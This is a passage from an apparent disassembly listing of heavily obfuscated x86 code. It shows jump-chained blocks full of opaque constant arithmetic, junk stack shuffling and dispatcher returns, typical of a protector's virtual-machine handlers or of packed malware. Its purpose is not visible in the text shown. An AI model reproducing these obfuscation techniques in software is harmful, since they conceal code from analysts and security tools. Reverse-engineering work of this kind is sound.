		mov	[esp-6F06h+arg_6EFE], esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp-6F0Ah+arg_6F02]
		jmp	loc_5915ED
; ---------------------------------------------------------------------------


loc_590F44:				; CODE XREF: sub_581EE9+9D6Ej
		xor	edi, edx
		mov	edx, [esp-6EAEh+arg_6EA4+2]
		jmp	loc_588514
; ---------------------------------------------------------------------------


loc_590F4E:				; CODE XREF: sub_581EE9+DDD5j
		add	esp, 4
		sub	esp, 4
		mov	[esp-6EC2h+arg_6EBA], eax
		mov	eax, 4A466BFBh
		neg	eax
		or	eax, 1A53701Dh
		jmp	loc_58F2D4
; ---------------------------------------------------------------------------


loc_590F6B:				; CODE XREF: sub_581EE9+8A76j
		inc	[esp-6EA8h+arg_6E9E+2]
		pop	esi
		sub	esi, 7C883280h
		jmp	loc_591141
; ---------------------------------------------------------------------------


loc_590F7A:				; CODE XREF: sub_581EE9+D0B2j
		mov	edx, 379474A6h
		jmp	loc_588979
; ---------------------------------------------------------------------------


loc_590F84:				; CODE XREF: sub_581EE9+AA60j
		push	si
		mov	si, 0B358h
		jmp	loc_58D7D4
; ---------------------------------------------------------------------------


loc_590F8F:				; CODE XREF: sub_581EE9+7454j
		mov	ebx, 6B1B4DD8h
		sub	esp, 4
		mov	[esp-6EC8h+arg_6EBE+2],	eax
		mov	eax, 5CC52FEDh
		neg	eax
		or	eax, 5E473933h
		shr	eax, 7
		dec	eax
		inc	eax
		add	eax, 21307EA4h
		mov	ebp, eax
		pop	eax
		xor	ebp, ebx
		pop	ebx
		xor	edx, ebp
		pop	ebp
		jmp	loc_58E1F1
; ---------------------------------------------------------------------------


loc_590FC1:				; CODE XREF: sub_581EE9+C50Fj
		add	edx, esi
		push	[esp-6EC2h+arg_6EBA]
		pop	esi
		add	esp, 4
		xchg	edx, [esp-6EC6h+arg_6EBE]
		jmp	loc_58F871
; ---------------------------------------------------------------------------


loc_590FD5:				; CODE XREF: sub_581EE9+93FBj
		push	[esp-6EC8h+arg_6EBE+2]
		pop	eax
		jmp	loc_591A40
; ---------------------------------------------------------------------------


loc_590FDE:				; CODE XREF: sub_581EE9+C0C0j
		add	esp, 4
		push	edi
		push	5C9247D9h
		pop	edi
		push	ebx
		jmp	loc_587372
; ---------------------------------------------------------------------------


loc_590FEE:				; CODE XREF: sub_581EE9+64EEj
		push	ecx
		push	esi
		jmp	loc_58B376
; ---------------------------------------------------------------------------


loc_590FF5:				; CODE XREF: sub_581EE9+9932j
		mov	[esp-6EC2h+arg_6EBA], ecx
		mov	ecx, 25581A7Eh
		jmp	loc_58C1B7
; ---------------------------------------------------------------------------


loc_591002:				; CODE XREF: sub_581EE9+774Ej
		xor	ecx, 69B811C0h
		mov	eax, ecx
		mov	ecx, [esp-6EC0h+arg_6EB6+2]
		add	esp, 4
		jmp	loc_58B6F5
; ---------------------------------------------------------------------------


loc_591015:				; CODE XREF: sub_581EE9+E19Aj
		mov	ecx, 2
		add	ebp, ecx
		mov	ecx, [esp-6F06h+arg_6EFE]
		push	37C0h
		mov	[esp-6F02h+arg_6EFA], ecx
		mov	ecx, esp
		jmp	loc_58668F
; ---------------------------------------------------------------------------


loc_59102E:				; CODE XREF: sub_581EE9+CE43j
		mov	[esp-6EC0h+arg_6EB6+2],	ebx
		push	edx
		mov	edx, 60800146h
		sub	edx, 6080010Eh
		mov	ebx, edx
		pop	edx
		push	esi
		mov	esi, 4D401347h
		sub	ebx, esi
		pop	esi
		add	ebx, edi
		add	ebx, 4D401347h
		push	ecx
		mov	ecx, 0
		sub	ecx, 60D7249h
		add	ecx, ebx
		add	ecx, 60D7249h
		mov	[ecx], al
		mov	ecx, [esp-6EBCh+arg_6EB2+2]
		jmp	loc_58806C
; ---------------------------------------------------------------------------


loc_59106F:				; CODE XREF: sub_581EE9+C2B9j
		not	edx
		add	edx, 0D809FFFh
		add	ecx, edx
		pop	edx
		push	ebp
		push	edi
		jmp	loc_59080D
; ---------------------------------------------------------------------------


loc_591081:				; CODE XREF: sub_581EE9+EACBj
		push	3F9Ch
		mov	[esp-6EDAh+arg_6ED2], esi
		mov	esi, 52803A8Eh
		jmp	loc_590E11
; ---------------------------------------------------------------------------


loc_591093:				; CODE XREF: sub_581EE9+F1B7j
		xor	ebp, ebx
		jmp	loc_587340
; ---------------------------------------------------------------------------


loc_59109A:				; CODE XREF: sub_581EE9+4891j
		xor	ebx, 3DB3391Ch
		jmp	loc_591093
; ---------------------------------------------------------------------------


loc_5910A5:				; CODE XREF: sub_581EE9+AC42j
		pop	ecx
		push	eax
		push	edx
		mov	edx, 5A1D7EDCh
		mov	eax, edx
		pop	edx
		add	esi, eax
		pop	eax
		shl	esi, 5
		and	esi, 16AC6ABFh
		jmp	loc_586AAD
; ---------------------------------------------------------------------------


loc_5910C1:				; CODE XREF: sub_581EE9+E98Fj
		add	eax, esi
		pop	esi
		add	eax, 4
		jmp	loc_58FCD5
; ---------------------------------------------------------------------------


loc_5910CE:				; CODE XREF: sub_581EE9+D5A1j
		mov	ebx, 40E33AAAh
		jmp	loc_587BFA
; ---------------------------------------------------------------------------


loc_5910D8:				; CODE XREF: sub_581EE9+5E01j
		add	ebp, edx
		pop	edx
		pop	edi
		sub	eax, ebp
		mov	ebp, [esp-6EACh+arg_6EA4]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58CB47
; ---------------------------------------------------------------------------


loc_5910EF:				; CODE XREF: sub_581EE9+9079j
		mov	ecx, [esp-6EDAh+arg_6ED2]
		add	esp, 4
		mov	edx, [esp-6EDEh+arg_6ED6]
		add	esp, 4
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_591103:				; CODE XREF: sub_581EE9+CAEFj
		mov	ecx, [esp-6EC6h+arg_6EBE]
		add	esp, 4
		xor	eax, [esp-6ECAh+arg_6EC2]
		xor	[esp-6ECAh+arg_6EC2], eax
		xor	eax, [esp-6ECAh+arg_6EC2]
		mov	esp, [esp-6ECAh+arg_6EC2]
		bt	[esp-6ECAh+arg_6EC2], eax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_59111F:				; CODE XREF: sub_581EE9+E0A2j
		push	ecx
		push	[esp-6EA2h+arg_6E9E]
		pop	ecx
		pop	[esp-6EA2h+arg_6E9A]
		pop	esp
		mov	dword ptr [esp-6EAAh+arg_6EA2],	edx
		push	esp
		pop	edx
		jmp	loc_58FDE4
; ---------------------------------------------------------------------------


loc_591133:				; CODE XREF: sub_581EE9+D934j
		push	edi
		mov	edi, 3EC975A5h
		shr	edi, 4
		jmp	loc_58F5A4
; ---------------------------------------------------------------------------


loc_591141:				; CODE XREF: sub_581EE9+F08Cj
		and	esi, 2D04737Ch
		xor	esi, 40880A87h
		neg	esi
		xor	esi, 0D9D4805Bh
		xor	edi, esi
		pop	esi
		mov	ebp, edi
		pop	edi
		mov	ebx, ebp
		push	[esp-6EB4h+arg_6EAC]
		pop	ebp
		add	esp, 4
		and	[edi+1Ch], ebx
		jmp	loc_58DD51
; ---------------------------------------------------------------------------


loc_59116C:				; CODE XREF: sub_581EE9+6B76j
		mov	ebx, 5D3402DAh
		xor	[esp-6EDCh+arg_6ED6+2],	ebx
		push	[esp-6EDCh+arg_6ED2+2]
		pop	ebx
		add	esp, 4
		mov	eax, [esp-6EE0h+arg_6ED6+2]
		push	eax
		mov	eax, esp
		jmp	loc_58A986
; ---------------------------------------------------------------------------


loc_59118A:				; CODE XREF: sub_581EE9+B686j
		mov	bh, 7Bh
		sub	bh, ch
		pop	ecx
		xor	al, bh
		push	[esp-6EB4h+arg_6EAC]
		pop	ebx
		push	23D9h
		mov	[esp-6EB0h+arg_6EA8], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp-6EACh+arg_6EA4]
		jmp	loc_58A2D7
; ---------------------------------------------------------------------------


loc_5911AF:				; CODE XREF: sub_581EE9+539Fj
		sub	esi, 6B7FEBEh
		add	ebp, esi
		pop	esi
		pop	eax
		xor	ebp, [esp-6ED2h+arg_6ECA]
		xor	[esp-6ED2h+arg_6ECA], ebp
		xor	ebp, [esp-6ED2h+arg_6ECA]
		pop	esp
		shl	byte ptr [esp-6ED6h+arg_6ECE], cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5911CC:				; CODE XREF: sub_581EE9+9F77j
		mov	edi, 2
		add	ebp, 64C41B4Ah
		jmp	loc_586FC7
; ---------------------------------------------------------------------------


loc_5911DC:				; CODE XREF: sub_581EE9+6095j
		sub	esp, 4
		mov	[esp-6ED0h+arg_6EC6+2],	esp
		add	[esp-6ED0h+arg_6EC6+2],	4
		mov	ebx, [esp-6ED0h+arg_6EC6+2]
		add	esp, 4
		jmp	loc_58C424
; ---------------------------------------------------------------------------


loc_5911F7:				; CODE XREF: sub_581EE9+5C1Ej
		xor	ebp, [esp-6EC8h+arg_6EBE+2]
		xor	[esp-6EC8h+arg_6EBE+2],	ebp
		jmp	loc_587FFE
; ---------------------------------------------------------------------------


loc_591202:				; CODE XREF: sub_581EE9+65E3j
		shl	dh, 1
		sub	dh, 9
		sub	al, dh
		pop	dx
		add	al, 4Dh
		sub	al, bl
		sub	al, 4Dh
		sub	esp, 4
		jmp	loc_590ED6
; ---------------------------------------------------------------------------


loc_59121C:				; CODE XREF: sub_581EE9+AF67j
		mov	al, 59h
		jmp	loc_587E6E
; ---------------------------------------------------------------------------


loc_591223:				; CODE XREF: sub_581EE9+4FAFj
		xor	ebx, esi
		pop	esi
		add	[esp-6EB0h+arg_6EAC], ebx
		mov	ebx, [esp-6EB0h+arg_6EA8]
		add	esp, 4
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_591235:				; CODE XREF: sub_581EE9+7276j
		not	edx
		xchg	edx, [esp-6EE4h+arg_6EDC]
		pop	esi
		push	ebp
		mov	ebp, 182B7847h
		inc	ebp
		neg	ebp
		and	ebp, 0D8F2ACCh
		add	ebp, 98B96655h
		sub	esi, ebp
		pop	ebp
		jmp	loc_5917E5
; ---------------------------------------------------------------------------


loc_591258:				; CODE XREF: sub_581EE9+BA84j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_59125D:				; CODE XREF: sub_581EE9+5F03j
		pop	ebx
		add	eax, 7C0A4735h
		add	eax, edi
		sub	eax, 7C0A4735h
		jmp	loc_5872EC
; ---------------------------------------------------------------------------


loc_59126F:				; CODE XREF: sub_581EE9+9674j
		pop	esi
		sub	ecx, esi
		pop	esi
		add	eax, ecx
		mov	ecx, [esp-6ECEh+arg_6EC6]
		push	edi
		jmp	loc_58F0F6
; ---------------------------------------------------------------------------


loc_59127E:				; CODE XREF: sub_581EE9+ED88j
		sub	ecx, 4
		xchg	ecx, [esp+0]
		jmp	loc_586880
; ---------------------------------------------------------------------------


loc_591289:				; CODE XREF: sub_581EE9+61ACj
		sub	eax, 496919AAh
		pop	esi
		push	4F21h
		mov	[esp+0], esi
		push	edi
		jmp	loc_58AE0A
; ---------------------------------------------------------------------------


loc_59129D:				; CODE XREF: sub_581EE9+ABF9j
		or	ah, cl
		jmp	loc_58C3DC
; ---------------------------------------------------------------------------


loc_5912A4:				; CODE XREF: sub_581EE9+7650j
		pop	edi
		or	eax, edx
		pop	edx
		xor	eax, 377F53EFh
		jmp	loc_58E014
; ---------------------------------------------------------------------------


loc_5912B2:				; DATA XREF: sub_581EE9+3C9Fo
		mov	cx, word ptr [esp-6F12h+arg_6F0A]
		push	ebx
		jmp	loc_586E9D
; ---------------------------------------------------------------------------


loc_5912BC:				; DATA XREF: sub_581EE9+3B17o
		push	[esp-6F0Eh+arg_6F06]
		mov	eax, [esp-6F0Ah+arg_6F02]
		sub	esp, 4
		mov	[esp-6F06h+arg_6EFE], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6F06h+arg_6EFE]
		pop	esp
		sub	esp, 4
		mov	[esp-6F06h+arg_6EFE], ebp
		mov	ebp, esp
		jmp	loc_58714D
; ---------------------------------------------------------------------------


loc_5912EA:				; CODE XREF: sub_581EE9+B5F6j
		add	ebp, 4
		push	ecx
		mov	ecx, 368A43CDh
		shl	ecx, 5
		xor	ecx, 23AC0D00h
		not	ecx
		xor	ecx, 3FD66F8Bh
		sub	ecx, 32CDE4D0h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_589438
; ---------------------------------------------------------------------------


loc_591315:				; DATA XREF: sub_581EE9+3D2Bo
		mov	ax, word ptr [esp-6F0Eh+arg_6F06]
		sub	esp, 4
		mov	[esp-6F0Ah+arg_6F02], ebp
		push	31Bh
		mov	[esp-6F06h+arg_6EFE], esp
		jmp	loc_588BA3
; ---------------------------------------------------------------------------


loc_59132F:				; CODE XREF: sub_581EE9+7E8Dj
		mov	ebx, 1
		sub	eax, ebx
		pop	ebx
		sub	eax, 0FFFFFFFFh
		xchg	eax, ebx
		jmp	loc_58F833
; ---------------------------------------------------------------------------


loc_591340:				; CODE XREF: sub_581EE9+456Cj
		pop	edx
		jmp	loc_5896EE
; ---------------------------------------------------------------------------


loc_591346:				; CODE XREF: sub_581EE9+86B8j
		add	ecx, 4FC037E3h
		jmp	loc_589481
; ---------------------------------------------------------------------------


loc_591351:				; CODE XREF: sub_581EE9+E8AEj
		neg	ecx
		and	ecx, 7B5907F0h
		or	ecx, 1C077F0Bh
		sub	ecx, 3E4F7FDAh
		mov	edi, ecx
		pop	ecx
		add	ecx, edi
		pop	edi
		sub	ecx, 68D205A1h
		jmp	loc_587DD4
; ---------------------------------------------------------------------------


loc_591376:				; CODE XREF: sub_581EE9+E814j
		mov	ebp, 3F93C3Bh
		add	ebp, 1591EABCh
		add	ebx, 718677BDh
		add	ebx, 74870FA8h
		add	ebx, ebp
		sub	ebx, 74870FA8h
		push	ebp
		mov	ebp, 731B2581h
		jmp	loc_58C47D
; ---------------------------------------------------------------------------


loc_5913A0:				; CODE XREF: sub_581EE9+AF1Aj
		push	[esp-6ED2h+arg_6ECE]
		jmp	loc_58A04B
; ---------------------------------------------------------------------------


loc_5913A9:				; CODE XREF: sub_581EE9+5EE6j
		mov	edx, esp
		sub	esp, 4
		mov	[esp-6ED8h+arg_6ECE+2],	eax
		jmp	loc_588AC5
; ---------------------------------------------------------------------------


loc_5913B9:				; CODE XREF: sub_581EE9+CE6Cj
		sub	eax, 32573C60h
		jmp	loc_58AC6E
; ---------------------------------------------------------------------------


loc_5913C3:				; CODE XREF: sub_581EE9+B3F4j
		add	esp, 4
		add	esp, 4
		shr	ecx, 6
		sub	esp, 4
		mov	[esp-6ECAh+arg_6EC2], ebx
		push	[esp-6ECAh+arg_6EC2]
		mov	eax, [esp-6EC6h+arg_6EBE]
		jmp	loc_58CF75
; ---------------------------------------------------------------------------


loc_5913E3:				; CODE XREF: sub_581EE9+ECACj
		and	ecx, 3D5A3B4Fh
		jmp	loc_589C27
; ---------------------------------------------------------------------------


loc_5913EE:				; CODE XREF: sub_581EE9+FA64j
		sub	esi, 567F2AF1h
		add	esi, 44EB42FDh
		add	esi, 0FDD0EA32h
		jmp	loc_58D47C
; ---------------------------------------------------------------------------


loc_591405:				; CODE XREF: sub_581EE9+B555j
		mov	edi, [esp-6ED2h+arg_6ECA]
		push	ebx
		jmp	loc_5916A0
; ---------------------------------------------------------------------------


loc_59140E:				; CODE XREF: sub_581EE9+9BCCj
		mov	ecx, 4
		add	esi, ecx
		jmp	loc_589572
; ---------------------------------------------------------------------------


loc_59141A:				; CODE XREF: sub_581EE9+8A3Cj
		push	edx
		mov	dl, 9Ch
		mov	cl, dl
		mov	edx, [esp-6EBEh+arg_6EB6]
		jmp	loc_58E1FD
; ---------------------------------------------------------------------------


loc_591427:				; CODE XREF: sub_581EE9+7E00j
		xor	edx, [esp-6EB2h+arg_6EA8+2]
		xor	[esp-6EB2h+arg_6EA8+2],	edx
		xor	edx, [esp-6EB2h+arg_6EA8+2]
		mov	esp, [esp-6EB2h+arg_6EA8+2]
		jmp	loc_58757B
; ---------------------------------------------------------------------------


loc_591438:				; CODE XREF: sub_581EE9+8F2Cj
		add	edi, 0C3A7B506h
		mov	esi, edi
		pop	edi
		add	eax, esi
		pop	esi
		xchg	eax, [esp-6EE6h+arg_6EDC+2]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-6EE6h+arg_6EDC+2]
		pop	esp
		mov	[esp-6EEAh+arg_6EE0+2],	ecx
		jmp	loc_58C9F0
; ---------------------------------------------------------------------------


loc_591461:				; CODE XREF: sub_581EE9+857Cj
		mov	[esp-6EBAh+arg_6EB2], ebp
		push	43D3h
		mov	[esp-6EB6h+arg_6EAC+2],	ecx
		jmp	loc_5869AF
; ---------------------------------------------------------------------------


loc_591471:				; CODE XREF: sub_581EE9+EBE0j
		add	ebx, 4
		jmp	loc_585FAE
; ---------------------------------------------------------------------------


loc_59147C:				; CODE XREF: sub_581EE9+4AC1j
		mov	word ptr [esp-6ECEh+arg_6EC6], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58A11D
; ---------------------------------------------------------------------------


loc_59148C:				; CODE XREF: sub_581EE9+8CBCj
		sub	esi, 14011962h
		not	esi
		sub	esi, 0ADACF409h
		xor	ecx, esi
		pop	esi
		mov	[edi+24h], ecx
		pop	ecx
		add	[edi+24h], esi
		pop	esi
		xor	edx, edx
		push	ebx
		push	[esp-6E8Ch+arg_6E84]
		mov	eax, [esp-6E88h+arg_6E80]
		jmp	loc_5883F6
; ---------------------------------------------------------------------------


loc_5914B3:				; CODE XREF: sub_581EE9+869Fj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6EC6h+arg_6EBE]
		pop	esp
		push	47B3h
		mov	[esp-6EC6h+arg_6EBE], edi
		mov	edi, 44BE44CCh
		add	ebx, edi
		push	[esp-6EC6h+arg_6EBE]
		push	[esp-6EC2h+arg_6EBA]
		pop	edi
		add	esp, 4
		push	760Ch
		mov	[esp-6EC2h+arg_6EBA], ebx
		jmp	loc_58CD52
; ---------------------------------------------------------------------------


loc_5914E5:				; CODE XREF: sub_581EE9+B1A1j
		push	6662h
		mov	[esp-6ED8h+arg_6ECE+2],	edi
		mov	edi, 4C203C33h
		jmp	loc_58B66E
; ---------------------------------------------------------------------------


loc_5914F7:				; CODE XREF: sub_581EE9+E23Bj
		push	edx
		mov	edx, 3DB44C9Ah
		xor	ebx, edx
		pop	edx
		sub	ebx, 0C045318Ch
		or	eax, ebx
		mov	ebx, [esp-6EA2h+arg_6E9A]
		add	esp, 4
		push	ebp
		mov	ebp, 6131468Ch
		shr	ebp, 7
		or	ebp, 5DC824E4h
		and	ebp, 76332294h
		neg	ebp
		add	ebp, 5CB87FFCh
		jmp	loc_58DEA7
; ---------------------------------------------------------------------------


loc_591533:				; CODE XREF: sub_581EE9+54A7j
		add	esp, 4
		push	eax
		jmp	loc_585E7A
; ---------------------------------------------------------------------------


loc_59153C:				; CODE XREF: sub_581EE9+E9CDj
		add	edx, 4
		jmp	loc_58963C
; ---------------------------------------------------------------------------


loc_591547:				; CODE XREF: sub_581EE9+AD66j
		pop	edi
		add	esp, 4
		and	eax, esi
		pop	esi
		jmp	loc_5889A8
; ---------------------------------------------------------------------------


loc_591553:				; CODE XREF: sub_581EE9+E998j
		sub	al, 0BBh
		add	al, bl
		add	al, 0BBh
		push	bx
		mov	bh, 7Ah
		sub	al, 0D1h
		jmp	loc_5884DC
; ---------------------------------------------------------------------------


loc_591564:				; CODE XREF: sub_581EE9+949Fj
		mov	esi, [esp-6E92h+arg_6E8A]
		jmp	loc_586BC6
; ---------------------------------------------------------------------------


loc_59156C:				; CODE XREF: sub_581EE9+4D75j
		push	ebp
		jmp	loc_58F0A1
; ---------------------------------------------------------------------------


loc_591572:				; CODE XREF: sub_581EE9+7E1Ej
		sub	[esp-6EDEh+arg_6ED6], eax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_59157B:				; CODE XREF: sub_581EE9+56EFj
		sub	[esp-6F0Eh+arg_6F06], eax
		jmp	loc_58A1B1
; ---------------------------------------------------------------------------


loc_591583:				; CODE XREF: sub_581EE9+7A12j
		xchg	ebx, [esp-6EB6h+arg_6EAC+2]
		pop	esp
		sub	esp, 4
		mov	[esp-6EB6h+arg_6EAC+2],	ebx
		mov	ebx, 343EF2FCh
		sub	ebp, ebx
		pop	ebx
		mov	ebx, ebp
		pop	ebp
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5915A0:				; CODE XREF: sub_581EE9+80E5j
		push	esi
		push	70B2h
		jmp	loc_58B24E
; ---------------------------------------------------------------------------


loc_5915AB:				; CODE XREF: sub_581EE9+639Ej
		mov	[esp-6ECCh+arg_6EC2+2],	esp
		push	ebp
		mov	ebp, 4
		jmp	loc_58A3C6
; ---------------------------------------------------------------------------


loc_5915B9:				; CODE XREF: sub_581EE9+DA5Bj
		push	bx
		mov	bh, 1Ah
		add	dl, bh
		pop	bx
		add	bl, 72h
		jmp	loc_590726
; ---------------------------------------------------------------------------


loc_5915C9:				; CODE XREF: sub_581EE9+7F10j
		mov	[esp-6E92h+arg_6E8A], ecx
		push	esp
		mov	ecx, [esp-6E8Eh+arg_6E84+2]
		add	esp, 4
		push	edx
		mov	edx, 23C02E44h
		push	ecx
		mov	ecx, 30AF4D27h
		and	ecx, 0F974394h
		jmp	loc_588230
; ---------------------------------------------------------------------------


loc_5915ED:				; CODE XREF: sub_581EE9+F056j
		pop	esp
		jmp	loc_58E4E0
; ---------------------------------------------------------------------------


loc_5915F3:				; CODE XREF: sub_581EE9+92C9j
		add	[esp-6EB0h+arg_6EA8], 4
		pop	ebp
		sub	esp, 4
		mov	[esp-6EB0h+arg_6EA8], esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		sub	ebp, 2
		push	1747h
		mov	[esp-6EB0h+arg_6EA8], ebp
		push	[esp-6EB0h+arg_6EAC]
		pop	ebp
		pop	[esp-6EB0h+arg_6EA8]
		pop	esp
		mov	[esp+0], ax
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_591626:				; CODE XREF: sub_581EE9+D02Dj
		pop	edx
		sub	edx, esi
		jmp	loc_586130
; ---------------------------------------------------------------------------


loc_59162E:				; CODE XREF: sub_581EE9+8E13j
		push	3A38h
		mov	[esp-6EE0h+arg_6ED6+2],	edi
		jmp	loc_58B5C5
; ---------------------------------------------------------------------------


loc_59163B:				; CODE XREF: sub_581EE9+A0EFj
		add	eax, esi
		pop	esi
		jmp	loc_58C415
; ---------------------------------------------------------------------------


loc_591643:				; CODE XREF: sub_581EE9+6ECEj
		mov	ecx, 735C0FEBh
		push	ebp
		push	264216B7h
		jmp	loc_589A7F
; ---------------------------------------------------------------------------


loc_591653:				; CODE XREF: sub_581EE9+B486j
		xor	esi, [esp-6EACh+arg_6EA4]
		jmp	loc_587767
; ---------------------------------------------------------------------------


loc_59165B:				; CODE XREF: sub_581EE9+FC1Cj
		pop	esp
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_591661:				; CODE XREF: sub_581EE9+966Aj
		sub	bh, 3Eh
		sub	bh, cl
		add	bh, 3Eh
		pop	cx
		and	bh, 2
		and	bh, 97h
		add	bh, 18h
		shl	bh, 7
		jmp	loc_587034
; ---------------------------------------------------------------------------


loc_59167C:				; CODE XREF: sub_581EE9+406Ej
		add	ax, di
		pop	edi
		xor	bp, ax
		jmp	loc_58DE11
; ---------------------------------------------------------------------------


loc_591688:				; CODE XREF: sub_581EE9+EFC2j
		pop	[esp-6EC6h+arg_6EBE]
		pop	esp
		ror	byte ptr [esp-6ECEh+arg_6EC6], cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_591695:				; CODE XREF: sub_581EE9+55C9j
		mov	edi, [esp-6EC2h+arg_6EBA]
		add	esp, 4
		jmp	loc_58E9DD
; ---------------------------------------------------------------------------


loc_5916A0:				; CODE XREF: sub_581EE9+F520j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58EF53
; ---------------------------------------------------------------------------


loc_5916B3:				; CODE XREF: sub_581EE9+5B83j
		not	ecx
		xchg	ecx, esi
		jmp	loc_59035F
; ---------------------------------------------------------------------------


loc_5916BC:				; CODE XREF: sub_581EE9+C668j
		pop	ecx
		add	esp, 4
		add	edx, edi
		mov	ecx, [edx]
		jmp	loc_58C0AA
; ---------------------------------------------------------------------------


loc_5916CC:				; CODE XREF: sub_581EE9+E773j
		mov	ebp, ebx
		push	ecx
		push	ebp
		xor	[esp-6EB6h+arg_6EAC+2],	1417085Ah
		pop	ecx
		jmp	loc_590588
; ---------------------------------------------------------------------------


loc_5916DD:				; CODE XREF: sub_581EE9+BEC6j
		pop	edx
		jmp	loc_590501
; ---------------------------------------------------------------------------


loc_5916E3:				; CODE XREF: sub_581EE9+64AEj
		add	ebp, 7800073Bh
		add	ebp, edi
		jmp	loc_587D48
; ---------------------------------------------------------------------------


loc_5916F0:				; CODE XREF: sub_581EE9+70FEj
		mov	ecx, 60746A98h
		mov	edx, ecx
		pop	ecx
		dec	edx
		push	esi
		push	ebp
		push	13E41D93h
		pop	ebp
		xor	ebp, 59A96180h
		xor	ebp, 6F6D5903h
		mov	esi, ebp
		pop	ebp
		shl	esi, 2
		push	esi
		not	[esp-6EEAh+arg_6EE0+2]
		pop	esi
		add	esi, 965BAC9Bh
		and	edx, esi
		pop	esi
		push	edi
		mov	edi, 5A9731CCh
		inc	edi
		inc	edi
		xchg	ebx, edi
		not	ebx
		xor	edi, ebx
		xor	ebx, edi
		xor	edi, ebx
		push	ebx
		jmp	loc_589ED1
; ---------------------------------------------------------------------------


loc_591739:				; CODE XREF: sub_581EE9+D98Bj
		or	eax, eax
		jz	loc_588AD4
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp-6ED8h+arg_6ECE+2]
		push	eax
		jmp	loc_589331
; ---------------------------------------------------------------------------


loc_59174D:				; CODE XREF: sub_581EE9+704Cj
		pop	ebx
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_591753:				; CODE XREF: sub_581EE9+8676j
		mov	fs:[edx], al
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_59175B:				; CODE XREF: sub_581EE9+BE47j
		add	esi, ebp
		sub	esi, 77BA4BCCh
		pop	ebp
		xchg	esi, [esp-6EECh+arg_6EE4]
		mov	esp, [esp-6EECh+arg_6EE4]
		jmp	loc_58F4B5
; ---------------------------------------------------------------------------


loc_59176F:				; CODE XREF: sub_581EE9+D81Ej
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	ecx
		push	edi
		jmp	loc_588E69
; ---------------------------------------------------------------------------


loc_591781:				; CODE XREF: sub_581EE9+E782j
		add	al, 3Fh
		push	ebx
		mov	bh, 3Eh
		shl	bh, 7
		push	ebp
		jmp	loc_58DF2A
; ---------------------------------------------------------------------------


loc_59178F:				; CODE XREF: sub_581EE9+8DC7j
		mov	[esp-6EC2h+arg_6EBA], eax
		mov	eax, 642034F0h
		inc	eax
		xchg	eax, esi
		not	esi
		xchg	eax, esi
		jmp	loc_586D0C
; ---------------------------------------------------------------------------


loc_5917A1:				; CODE XREF: sub_581EE9+422Ej
		add	esp, 4
		jmp	loc_58CE80
; ---------------------------------------------------------------------------


loc_5917AC:				; CODE XREF: sub_581EE9+7DECj
		sub	esi, 481B71DAh
		add	esi, 4B3414DEh
		add	ebx, esi
		mov	esi, [esp-6EEEh+arg_6EE4+2]
		jmp	loc_58A839
; ---------------------------------------------------------------------------


loc_5917C2:				; CODE XREF: sub_581EE9+E6E3j
		push	esp
		mov	esi, [esp-6ED6h+arg_6ECE]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58CA30
; ---------------------------------------------------------------------------


loc_5917D7:				; CODE XREF: sub_581EE9+A2E9j
		pop	[esp-6EDCh+arg_6ED2+2]
		mov	esp, [esp-6EE0h+arg_6ED6+2]
		mov	[esp-6EE0h+arg_6ED6+2],	eax
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5917E5:				; CODE XREF: sub_581EE9+F36Aj
		sub	ebx, esi
		jmp	loc_585F0D
; ---------------------------------------------------------------------------


loc_5917EC:				; CODE XREF: sub_581EE9+8D4Bj
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp-6EDAh+arg_6ED2]
		mov	esp, [esp-6EDAh+arg_6ED2]
		add	[esp-6EDAh+arg_6ED6], ecx
		mov	ecx, [esp-6EDAh+arg_6ED2]
		add	esp, 4
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_59180D:				; CODE XREF: sub_581EE9+5F28j
		mov	ebp, 20735EE3h
		jmp	loc_58AE5B
; ---------------------------------------------------------------------------


loc_591817:				; CODE XREF: sub_581EE9+C25Aj
		sub	esp, 4
		jmp	loc_58B93C
; ---------------------------------------------------------------------------


loc_591822:				; CODE XREF: sub_581EE9+4B2Dj
		pop	esp
		mov	[esp-6EC2h+arg_6EBA], ecx
		mov	ch, 0C5h
		sub	dh, ch
		jmp	loc_58F5B7
; ---------------------------------------------------------------------------


loc_59182F:				; CODE XREF: sub_581EE9+8114j
		mov	dh, cl
		mov	al, dh
		pop	edx
		mov	ecx, [esp-6ECEh+arg_6EC6]
		jmp	loc_590077
; ---------------------------------------------------------------------------


loc_59183C:				; CODE XREF: sub_581EE9+B58Ej
		add	edx, esi
		pop	esi
		xor	edx, [esp-6EB4h+arg_6EAC]
		jmp	loc_5907CD
; ---------------------------------------------------------------------------


loc_591847:				; CODE XREF: sub_581EE9+7122j
		push	2Ch
		pop	edx
		jmp	loc_58FB62
; ---------------------------------------------------------------------------


